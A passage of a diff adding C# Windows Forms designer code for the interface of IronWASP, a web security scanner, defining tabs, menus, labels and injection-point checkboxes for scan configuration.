this.split_main.Margin = new System.Windows.Forms.Padding(0); + this.split_main.Name = "split_main"; + // + // split_main.Panel1 + // + this.split_main.Panel1.Controls.Add(this.IronTree); + // + // split_main.Panel2 + // + this.split_main.Panel2.Controls.Add(this.main_tab); + this.split_main.Size = new System.Drawing.Size(883, 537); + this.split_main.SplitterDistance = 166; + this.split_main.TabIndex = 0; + // + // IronTree + // + this.IronTree.BackColor = System.Drawing.Color.White; + this.IronTree.ContextMenuStrip = this.IronTreeMenuStrip; + this.IronTree.Dock = System.Windows.Forms.DockStyle.Fill; + this.IronTree.Location = new System.Drawing.Point(0, 0); + this.IronTree.Margin = new System.Windows.Forms.Padding(0); + this.IronTree.Name = "IronTree"; + this.IronTree.ShowRootLines = false; + this.IronTree.Size = new System.Drawing.Size(166, 537); + this.IronTree.TabIndex = 1; + this.IronTree.AfterSelect += new System.Windows.Forms.TreeViewEventHandler(this.IronTree_AfterSelect); + // + // IronTreeMenuStrip + // + this.IronTreeMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.ScanBranchToolStripMenuItem, + this.RunModulesOnFindingToolStripMenuItem, + this.RunModulesOnUrlToolStripMenuItem}); + this.IronTreeMenuStrip.Name = "IronTreeMenuStrip"; + this.IronTreeMenuStrip.Size = new System.Drawing.Size(227, 70); + this.IronTreeMenuStrip.Opening += new System.ComponentModel.CancelEventHandler(this.IronTreeMenuStrip_Opening); + // + // ScanBranchToolStripMenuItem + // + this.ScanBranchToolStripMenuItem.Name = "ScanBranchToolStripMenuItem"; + this.ScanBranchToolStripMenuItem.Size = new System.Drawing.Size(226, 22); + this.ScanBranchToolStripMenuItem.Text = "Scan Branch"; + this.ScanBranchToolStripMenuItem.Click += new System.EventHandler(this.ScanBranchToolStripMenuItem_Click); + // + // RunModulesOnFindingToolStripMenuItem + // + this.RunModulesOnFindingToolStripMenuItem.Name = "RunModulesOnFindingToolStripMenuItem"; + this.RunModulesOnFindingToolStripMenuItem.Size = new System.Drawing.Size(226, 22); + this.RunModulesOnFindingToolStripMenuItem.Text = "Run Modules on this Finding"; + // + // RunModulesOnUrlToolStripMenuItem + // + this.RunModulesOnUrlToolStripMenuItem.Name = "RunModulesOnUrlToolStripMenuItem"; + this.RunModulesOnUrlToolStripMenuItem.Size = new System.Drawing.Size(226, 22); + this.RunModulesOnUrlToolStripMenuItem.Text = "Run Modules on this Url"; + // + // main_tab + // + this.main_tab.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.main_tab.Controls.Add(this.mt_console); + this.main_tab.Controls.Add(this.mt_auto); + this.main_tab.Controls.Add(this.mt_manual); + this.main_tab.Controls.Add(this.mt_scripting); + this.main_tab.Controls.Add(this.mt_proxy); + this.main_tab.Controls.Add(this.mt_logs); + this.main_tab.Controls.Add(this.mt_results); + this.main_tab.Controls.Add(this.mt_js); + this.main_tab.Controls.Add(this.mt_dev); + this.main_tab.Location = new System.Drawing.Point(0, 0); + this.main_tab.Margin = new System.Windows.Forms.Padding(0); + this.main_tab.Name = "main_tab"; + this.main_tab.Padding = new System.Drawing.Point(0, 0); + this.main_tab.SelectedIndex = 0; + this.main_tab.Size = new System.Drawing.Size(713, 537); + this.main_tab.TabIndex = 0; + this.main_tab.SelectedIndexChanged += new System.EventHandler(this.main_tab_SelectedIndexChanged); + // + // mt_console + // + this.mt_console.BackColor = System.Drawing.Color.White; + this.mt_console.Controls.Add(this.label11); + this.mt_console.Controls.Add(this.label8); + this.mt_console.Controls.Add(this.MainDocLL); + this.mt_console.Controls.Add(this.ScanJobsCompletedLbl); + this.mt_console.Controls.Add(this.ScanJobsCreatedLbl); + this.mt_console.Controls.Add(this.CrawlerRequestsLbl); + this.mt_console.Controls.Add(this.ConsoleStatusTB); + this.mt_console.Controls.Add(this.label30); + this.mt_console.Controls.Add(this.ConsoleStartScanBtn); + this.mt_console.Controls.Add(this.richTextBox2); + this.mt_console.Controls.Add(this.label29); + this.mt_console.Controls.Add(this.ConsoleScanUrlTB); + this.mt_console.Location = new System.Drawing.Point(4, 22); + this.mt_console.Name = "mt_console"; + this.mt_console.Size = new System.Drawing.Size(705, 511); + this.mt_console.TabIndex = 8; + this.mt_console.Text = " Console "; + // + // label11 + // + this.label11.AutoSize = true; + this.label11.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label11.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.label11.Location = new System.Drawing.Point(8, 53); + this.label11.Name = "label11"; + this.label11.Size = new System.Drawing.Size(573, 18); + this.label11.TabIndex = 19; + this.label11.Text = "To quickly find out how to use this version of IronWASP to find security problems" + + " on your site "; + // + // label8 + // + this.label8.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label8.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.label8.Location = new System.Drawing.Point(7, 9); + this.label8.Name = "label8"; + this.label8.Size = new System.Drawing.Size(689, 38); + this.label8.TabIndex = 18; + this.label8.Text = "IronWASP has a lot of powerful capabilities that you can use even without any sec" + + "urity knowledge. And every new version gets many new featuers based on user requ" + + "est and industry developments."; + // + // MainDocLL + // + this.MainDocLL.AutoSize = true; + this.MainDocLL.Location = new System.Drawing.Point(583, 56); + this.MainDocLL.Name = "MainDocLL"; + this.MainDocLL.Size = new System.Drawing.Size(53, 13); + this.MainDocLL.TabIndex = 17; + this.MainDocLL.TabStop = true; + this.MainDocLL.Text = "click here"; + this.MainDocLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.MainDocLL_LinkClicked); + // + // ScanJobsCompletedLbl + // + this.ScanJobsCompletedLbl.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanJobsCompletedLbl.AutoSize = true; + this.ScanJobsCompletedLbl.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ScanJobsCompletedLbl.Location = new System.Drawing.Point(252, 259); + this.ScanJobsCompletedLbl.Name = "ScanJobsCompletedLbl"; + this.ScanJobsCompletedLbl.Size = new System.Drawing.Size(148, 18); + this.ScanJobsCompletedLbl.TabIndex = 16; + this.ScanJobsCompletedLbl.Text = "ScanJobs Completed: 0"; + this.ScanJobsCompletedLbl.Visible = false; + // + // ScanJobsCreatedLbl + // + this.ScanJobsCreatedLbl.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ScanJobsCreatedLbl.AutoSize = true; + this.ScanJobsCreatedLbl.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ScanJobsCreatedLbl.Location = new System.Drawing.Point(272, 229); + this.ScanJobsCreatedLbl.Name = "ScanJobsCreatedLbl"; + this.ScanJobsCreatedLbl.Size = new System.Drawing.Size(128, 18); + this.ScanJobsCreatedLbl.TabIndex = 15; + this.ScanJobsCreatedLbl.Text = "ScanJobs Created: 0"; + this.ScanJobsCreatedLbl.Visible = false; + // + // CrawlerRequestsLbl + // + this.CrawlerRequestsLbl.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.CrawlerRequestsLbl.AutoSize = true; + this.CrawlerRequestsLbl.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.CrawlerRequestsLbl.Location = new System.Drawing.Point(236, 198); + this.CrawlerRequestsLbl.Name = "CrawlerRequestsLbl"; + this.CrawlerRequestsLbl.Size = new System.Drawing.Size(164, 18); + this.CrawlerRequestsLbl.TabIndex = 14; + this.CrawlerRequestsLbl.Text = "Requests From Crawler: 0"; + this.CrawlerRequestsLbl.Visible = false; + // + // ConsoleStatusTB + // + this.ConsoleStatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConsoleStatusTB.BackColor = System.Drawing.Color.White; + this.ConsoleStatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.ConsoleStatusTB.Location = new System.Drawing.Point(141, 150); + this.ConsoleStatusTB.Multiline = true; + this.ConsoleStatusTB.Name = "ConsoleStatusTB"; + this.ConsoleStatusTB.ReadOnly = true; + this.ConsoleStatusTB.Size = new System.Drawing.Size(513, 45); + this.ConsoleStatusTB.TabIndex = 13; + this.ConsoleStatusTB.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.ConsoleStatusTB.Enter += new System.EventHandler(this.ConsoleStatusTB_Enter); + // + // label30 + // + this.label30.AutoSize = true; + this.label30.ForeColor = System.Drawing.Color.Blue; + this.label30.Location = new System.Drawing.Point(8, 128); + this.label30.Name = "label30"; + this.label30.Size = new System.Drawing.Size(114, 13); + this.label30.TabIndex = 12; + this.label30.Text = "Eg: http://example.org"; + // + // ConsoleStartScanBtn + // + this.ConsoleStartScanBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.ConsoleStartScanBtn.BackColor = System.Drawing.Color.Transparent; + this.ConsoleStartScanBtn.Location = new System.Drawing.Point(614, 104); + this.ConsoleStartScanBtn.Name = "ConsoleStartScanBtn"; + this.ConsoleStartScanBtn.Size = new System.Drawing.Size(83, 23); + this.ConsoleStartScanBtn.TabIndex = 11; + this.ConsoleStartScanBtn.Text = "Start Scan"; + this.ConsoleStartScanBtn.UseVisualStyleBackColor = false; + this.ConsoleStartScanBtn.Click += new System.EventHandler(this.ConsoleStartScanBtn_Click); + // + // richTextBox2 + // + this.richTextBox2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.richTextBox2.BackColor = System.Drawing.Color.White; + this.richTextBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.richTextBox2.Cursor = System.Windows.Forms.Cursors.Arrow; + this.richTextBox2.Location = new System.Drawing.Point(0, 307); + this.richTextBox2.Margin = new System.Windows.Forms.Padding(0); + this.richTextBox2.Name = "richTextBox2"; + this.richTextBox2.ReadOnly = true; + this.richTextBox2.Size = new System.Drawing.Size(705, 199); + this.richTextBox2.TabIndex = 6; + this.richTextBox2.Text = ""; + this.richTextBox2.Visible = false; + // + // label29 + // + this.label29.AutoSize = true; + this.label29.Font = new System.Drawing.Font("Palatino Linotype", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.label29.Location = new System.Drawing.Point(4, 106); + this.label29.Name = "label29"; + this.label29.Size = new System.Drawing.Size(131, 18); + this.label29.TabIndex = 5; + this.label29.Text = "Enter a URL to Scan:"; + // + // ConsoleScanUrlTB + // + this.ConsoleScanUrlTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ConsoleScanUrlTB.Location = new System.Drawing.Point(141, 106); + this.ConsoleScanUrlTB.Name = "ConsoleScanUrlTB"; + this.ConsoleScanUrlTB.Size = new System.Drawing.Size(467, 20); + this.ConsoleScanUrlTB.TabIndex = 4; + // + // mt_auto + // + this.mt_auto.Controls.Add(this.ASMainTabs); + this.mt_auto.Location = new System.Drawing.Point(4, 22); + this.mt_auto.Margin = new System.Windows.Forms.Padding(0); + this.mt_auto.Name = "mt_auto"; + this.mt_auto.Size = new System.Drawing.Size(705, 511); + this.mt_auto.TabIndex = 3; + this.mt_auto.Text = " Automated Scanning "; + this.mt_auto.UseVisualStyleBackColor = true; + // + // ASMainTabs + // + this.ASMainTabs.Controls.Add(this.ASConfigureTab); + this.ASMainTabs.Controls.Add(this.ASTraceTab); + this.ASMainTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASMainTabs.Location = new System.Drawing.Point(0, 0); + this.ASMainTabs.Margin = new System.Windows.Forms.Padding(0); + this.ASMainTabs.Name = "ASMainTabs"; + this.ASMainTabs.Padding = new System.Drawing.Point(0, 0); + this.ASMainTabs.SelectedIndex = 0; + this.ASMainTabs.Size = new System.Drawing.Size(705, 511); + this.ASMainTabs.TabIndex = 0; + // + // ASConfigureTab + // + this.ASConfigureTab.Controls.Add(this.ScanJobsBaseSplit); + this.ASConfigureTab.Location = new System.Drawing.Point(4, 22); + this.ASConfigureTab.Margin = new System.Windows.Forms.Padding(0); + this.ASConfigureTab.Name = "ASConfigureTab"; + this.ASConfigureTab.Size = new System.Drawing.Size(697, 485); + this.ASConfigureTab.TabIndex = 0; + this.ASConfigureTab.Text = " Scan Jobs "; + this.ASConfigureTab.UseVisualStyleBackColor = true; + // + // ScanJobsBaseSplit + // + this.ScanJobsBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanJobsBaseSplit.Location = new System.Drawing.Point(0, 0); + this.ScanJobsBaseSplit.Margin = new System.Windows.Forms.Padding(0); + this.ScanJobsBaseSplit.Name = "ScanJobsBaseSplit"; + this.ScanJobsBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ScanJobsBaseSplit.Panel1 + // + this.ScanJobsBaseSplit.Panel1.Controls.Add(this.ScanDisplayPanel); + this.ScanJobsBaseSplit.Panel1.Controls.Add(this.ScanTopPanel); + // + // ScanJobsBaseSplit.Panel2 + // + this.ScanJobsBaseSplit.Panel2.Controls.Add(this.ScanJobsBottomSplit); + this.ScanJobsBaseSplit.Size = new System.Drawing.Size(697, 485); + this.ScanJobsBaseSplit.SplitterDistance = 289; + this.ScanJobsBaseSplit.SplitterWidth = 2; + this.ScanJobsBaseSplit.TabIndex = 0; + // + // ScanDisplayPanel + // + this.ScanDisplayPanel.Controls.Add(this.ASBaseTabs); + this.ScanDisplayPanel.Controls.Add(this.ASExceptionTB); + this.ScanDisplayPanel.Controls.Add(this.SessionPluginLbl); + this.ScanDisplayPanel.Controls.Add(this.ASScanPluginsGrid); + this.ScanDisplayPanel.Controls.Add(this.ConfigureScanRequestSSLCB); + this.ScanDisplayPanel.Controls.Add(this.ScanStatusLbl); + this.ScanDisplayPanel.Controls.Add(this.ASClearScanBtn); + this.ScanDisplayPanel.Controls.Add(this.ScanIDLbl); + this.ScanDisplayPanel.Controls.Add(this.ASStartScanBtn); + this.ScanDisplayPanel.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanDisplayPanel.Location = new System.Drawing.Point(0, 0); + this.ScanDisplayPanel.Margin = new System.Windows.Forms.Padding(0); + this.ScanDisplayPanel.Name = "ScanDisplayPanel"; + this.ScanDisplayPanel.Size = new System.Drawing.Size(697, 289); + this.ScanDisplayPanel.TabIndex = 16; + // + // ASBaseTabs + // + this.ASBaseTabs.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASBaseTabs.Controls.Add(this.ASRequestTab); + this.ASBaseTabs.Controls.Add(this.ASInjectionPointTab); + this.ASBaseTabs.Location = new System.Drawing.Point(0, 56); + this.ASBaseTabs.Margin = new System.Windows.Forms.Padding(0); + this.ASBaseTabs.Name = "ASBaseTabs"; + this.ASBaseTabs.Padding = new System.Drawing.Point(0, 0); + this.ASBaseTabs.SelectedIndex = 0; + this.ASBaseTabs.Size = new System.Drawing.Size(561, 233); + this.ASBaseTabs.TabIndex = 13; + // + // ASRequestTab + // + this.ASRequestTab.BackColor = System.Drawing.Color.White; + this.ASRequestTab.Controls.Add(this.ScanJobsTopSplit); + this.ASRequestTab.Location = new System.Drawing.Point(4, 22); + this.ASRequestTab.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestTab.Name = "ASRequestTab"; + this.ASRequestTab.Size = new System.Drawing.Size(553, 207); + this.ASRequestTab.TabIndex = 0; + this.ASRequestTab.Text = " Request To Scan "; + // + // ScanJobsTopSplit + // + this.ScanJobsTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ScanJobsTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel2; + this.ScanJobsTopSplit.IsSplitterFixed = true; + this.ScanJobsTopSplit.Location = new System.Drawing.Point(0, 0); + this.ScanJobsTopSplit.Margin = new System.Windows.Forms.Padding(0); + this.ScanJobsTopSplit.Name = "ScanJobsTopSplit"; + // + // ScanJobsTopSplit.Panel1 + // + this.ScanJobsTopSplit.Panel1.Controls.Add(this.ASRequestScanFullTabs); + // + // ScanJobsTopSplit.Panel2 + // + this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanBodyCB); + this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanParameterNamesCB); + this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanAllCB); + this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanHeadersCB); + this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanQueryCB); + this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanCookieCB); + this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASRequestScanURLCB); + this.ScanJobsTopSplit.Panel2.Controls.Add(this.ASInjectHeaderLbl); + this.ScanJobsTopSplit.Size = new System.Drawing.Size(553, 207); + this.ScanJobsTopSplit.SplitterDistance = 526; + this.ScanJobsTopSplit.SplitterWidth = 2; + this.ScanJobsTopSplit.TabIndex = 7; + // + // ASRequestScanFullTabs + // + this.ASRequestScanFullTabs.Controls.Add(this.tabPage20); + this.ASRequestScanFullTabs.Controls.Add(this.tabPage21); + this.ASRequestScanFullTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestScanFullTabs.Location = new System.Drawing.Point(0, 0); + this.ASRequestScanFullTabs.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestScanFullTabs.Multiline = true; + this.ASRequestScanFullTabs.Name = "ASRequestScanFullTabs"; + this.ASRequestScanFullTabs.Padding = new System.Drawing.Point(0, 0); + this.ASRequestScanFullTabs.SelectedIndex = 0; + this.ASRequestScanFullTabs.Size = new System.Drawing.Size(526, 207); + this.ASRequestScanFullTabs.TabIndex = 0; + // + // tabPage20 + // + this.tabPage20.Controls.Add(this.ASRequestRawHeadersIDV); + this.tabPage20.Location = new System.Drawing.Point(4, 22); + this.tabPage20.Margin = new System.Windows.Forms.Padding(0); + this.tabPage20.Name = "tabPage20"; + this.tabPage20.Size = new System.Drawing.Size(518, 181); + this.tabPage20.TabIndex = 0; + this.tabPage20.Text = "Raw Headers"; + this.tabPage20.UseVisualStyleBackColor = true; + // + // ASRequestRawHeadersIDV + // + this.ASRequestRawHeadersIDV.AutoSize = true; + this.ASRequestRawHeadersIDV.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestRawHeadersIDV.Location = new System.Drawing.Point(0, 0); + this.ASRequestRawHeadersIDV.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestRawHeadersIDV.Name = "ASRequestRawHeadersIDV"; + this.ASRequestRawHeadersIDV.ReadOnly = true; + this.ASRequestRawHeadersIDV.Size = new System.Drawing.Size(518, 181); + this.ASRequestRawHeadersIDV.TabIndex = 0; + this.ASRequestRawHeadersIDV.IDVTextChanged += new IronDataView.IronDataView.TextChanged(this.ASRequestRawHeadersIDV_IDVTextChanged); + // + // tabPage21 + // + this.tabPage21.Controls.Add(this.ASRequestRawBodyIDV); + this.tabPage21.Location = new System.Drawing.Point(4, 22); + this.tabPage21.Margin = new System.Windows.Forms.Padding(0); + this.tabPage21.Name = "tabPage21"; + this.tabPage21.Size = new System.Drawing.Size(518, 181); + this.tabPage21.TabIndex = 1; + this.tabPage21.Text = "Raw Body"; + this.tabPage21.UseVisualStyleBackColor = true; + // + // ASRequestRawBodyIDV + // + this.ASRequestRawBodyIDV.AutoSize = true; + this.ASRequestRawBodyIDV.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestRawBodyIDV.Location = new System.Drawing.Point(0, 0); + this.ASRequestRawBodyIDV.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestRawBodyIDV.Name = "ASRequestRawBodyIDV"; + this.ASRequestRawBodyIDV.ReadOnly = true; + this.ASRequestRawBodyIDV.Size = new System.Drawing.Size(518, 181); + this.ASRequestRawBodyIDV.TabIndex = 1; + this.ASRequestRawBodyIDV.IDVTextChanged += new IronDataView.IronDataView.TextChanged(this.ASRequestRawBodyIDV_IDVTextChanged); + // + // ASRequestScanBodyCB + // + this.ASRequestScanBodyCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASRequestScanBodyCB.AutoSize = true; + this.ASRequestScanBodyCB.Enabled = false; + this.ASRequestScanBodyCB.Location = new System.Drawing.Point(-37, 88); + this.ASRequestScanBodyCB.Name = "ASRequestScanBodyCB"; + this.ASRequestScanBodyCB.Size = new System.Drawing.Size(50, 17); + this.ASRequestScanBodyCB.TabIndex = 3; + this.ASRequestScanBodyCB.Text = "Body"; + this.ASRequestScanBodyCB.UseVisualStyleBackColor = true; + // + // ASRequestScanParameterNamesCB + // + this.ASRequestScanParameterNamesCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASRequestScanParameterNamesCB.AutoSize = true; + this.ASRequestScanParameterNamesCB.Enabled = false; + this.ASRequestScanParameterNamesCB.Location = new System.Drawing.Point(-37, 150); + this.ASRequestScanParameterNamesCB.Name = "ASRequestScanParameterNamesCB"; + this.ASRequestScanParameterNamesCB.Size = new System.Drawing.Size(59, 17); + this.ASRequestScanParameterNamesCB.TabIndex = 6; + this.ASRequestScanParameterNamesCB.Text = "Names"; + this.ASRequestScanParameterNamesCB.UseVisualStyleBackColor = true; + // + // ASRequestScanAllCB + // + this.ASRequestScanAllCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASRequestScanAllCB.AutoSize = true; + this.ASRequestScanAllCB.Enabled = false; + this.ASRequestScanAllCB.Location = new System.Drawing.Point(-37, 28); + this.ASRequestScanAllCB.Name = "ASRequestScanAllCB"; + this.ASRequestScanAllCB.Size = new System.Drawing.Size(37, 17); + this.ASRequestScanAllCB.TabIndex = 0; + this.ASRequestScanAllCB.Text = "All"; + this.ASRequestScanAllCB.UseVisualStyleBackColor = true; + // + // ASRequestScanHeadersCB + // + this.ASRequestScanHeadersCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASRequestScanHeadersCB.AutoSize = true; + this.ASRequestScanHeadersCB.Enabled = false; + this.ASRequestScanHeadersCB.Location = new System.Drawing.Point(-37, 129); + this.ASRequestScanHeadersCB.Name = "ASRequestScanHeadersCB"; + this.ASRequestScanHeadersCB.Size = new System.Drawing.Size(66, 17); + this.ASRequestScanHeadersCB.TabIndex = 5; + this.ASRequestScanHeadersCB.Text = "Headers"; + this.ASRequestScanHeadersCB.UseVisualStyleBackColor = true; + this.ASRequestScanHeadersCB.Click += new System.EventHandler(this.ASRequestScanHeadersCB_Click); + // + // ASRequestScanQueryCB + // + this.ASRequestScanQueryCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASRequestScanQueryCB.AutoSize = true; + this.ASRequestScanQueryCB.Enabled = false; + this.ASRequestScanQueryCB.Location = new System.Drawing.Point(-37, 68); + this.ASRequestScanQueryCB.Name = "ASRequestScanQueryCB"; + this.ASRequestScanQueryCB.Size = new System.Drawing.Size(54, 17); + this.ASRequestScanQueryCB.TabIndex = 2; + this.ASRequestScanQueryCB.Text = "Query"; + this.ASRequestScanQueryCB.UseVisualStyleBackColor = true; + this.ASRequestScanQueryCB.Click += new System.EventHandler(this.ASRequestScanQueryCB_Click); + // + // ASRequestScanCookieCB + // + this.ASRequestScanCookieCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASRequestScanCookieCB.AutoSize = true; + this.ASRequestScanCookieCB.Enabled = false; + this.ASRequestScanCookieCB.Location = new System.Drawing.Point(-37, 108); + this.ASRequestScanCookieCB.Name = "ASRequestScanCookieCB"; + this.ASRequestScanCookieCB.Size = new System.Drawing.Size(59, 17); + this.ASRequestScanCookieCB.TabIndex = 4; + this.ASRequestScanCookieCB.Text = "Cookie"; + this.ASRequestScanCookieCB.UseVisualStyleBackColor = true; + this.ASRequestScanCookieCB.Click += new System.EventHandler(this.ASRequestScanCookieCB_Click); + // + // ASRequestScanURLCB + // + this.ASRequestScanURLCB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASRequestScanURLCB.AutoSize = true; + this.ASRequestScanURLCB.Enabled = false; + this.ASRequestScanURLCB.Location = new System.Drawing.Point(-37, 48); + this.ASRequestScanURLCB.Name = "ASRequestScanURLCB"; + this.ASRequestScanURLCB.Size = new System.Drawing.Size(48, 17); + this.ASRequestScanURLCB.TabIndex = 1; + this.ASRequestScanURLCB.Text = "URL"; + this.ASRequestScanURLCB.UseVisualStyleBackColor = true; + this.ASRequestScanURLCB.Click += new System.EventHandler(this.ASRequestScanURLCB_Click); + // + // ASInjectHeaderLbl + // + this.ASInjectHeaderLbl.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ASInjectHeaderLbl.AutoSize = true; + this.ASInjectHeaderLbl.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.ASInjectHeaderLbl.Location = new System.Drawing.Point(-40, 6); + this.ASInjectHeaderLbl.Name = "ASInjectHeaderLbl"; + this.ASInjectHeaderLbl.Size = new System.Drawing.Size(46, 15); + this.ASInjectHeaderLbl.TabIndex = 5; + this.ASInjectHeaderLbl.Text = "Inject:"; + // + // ASInjectionPointTab + // + this.ASInjectionPointTab.BackColor = System.Drawing.Color.White; + this.ASInjectionPointTab.Controls.Add(this.ASRequestTabs); + this.ASInjectionPointTab.Location = new System.Drawing.Point(4, 22); + this.ASInjectionPointTab.Margin = new System.Windows.Forms.Padding(0); + this.ASInjectionPointTab.Name = "ASInjectionPointTab"; + this.ASInjectionPointTab.Size = new System.Drawing.Size(553, 207); + this.ASInjectionPointTab.TabIndex = 1; + this.ASInjectionPointTab.Text = " Injection Points "; + // + // ASRequestTabs + // + this.ASRequestTabs.Controls.Add(this.ASRequestURLTab); + this.ASRequestTabs.Controls.Add(this.ASRequestQueryTab); + this.ASRequestTabs.Controls.Add(this.ASRequestBodyTab); + this.ASRequestTabs.Controls.Add(this.ASRequestCookieTab); + this.ASRequestTabs.Controls.Add(this.ASRequestHeadersTab); + this.ASRequestTabs.Controls.Add(this.ASRequestParameterNamesTab); + this.ASRequestTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ASRequestTabs.Location = new System.Drawing.Point(0, 0); + this.ASRequestTabs.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestTabs.Name = "ASRequestTabs"; + this.ASRequestTabs.Padding = new System.Drawing.Point(0, 0); + this.ASRequestTabs.SelectedIndex = 0; + this.ASRequestTabs.Size = new System.Drawing.Size(553, 207); + this.ASRequestTabs.TabIndex = 0; + // + // ASRequestURLTab + // + this.ASRequestURLTab.Controls.Add(this.ASRequestScanURLGrid); + this.ASRequestURLTab.Location = new System.Drawing.Point(4, 22); + this.ASRequestURLTab.Margin = new System.Windows.Forms.Padding(0); + this.ASRequestURLTab.Name = "ASRequestURLTab"; + this.ASRequestURLTab.Size = new System.Drawing.Size(545, 181); + this.ASRequestURLTab.TabIndex = 0; + this.ASRequestURLTab.Text = "URL"; + this.ASRequestURLTab.UseVisualStyleBackColor = true; + // + // ASRequestScanURLGrid + // + this.ASRequestScanURLGrid.AllowUserToAddRows = false; + this.ASRequestScanURLGrid.AllowUserToDeleteRows = false; + 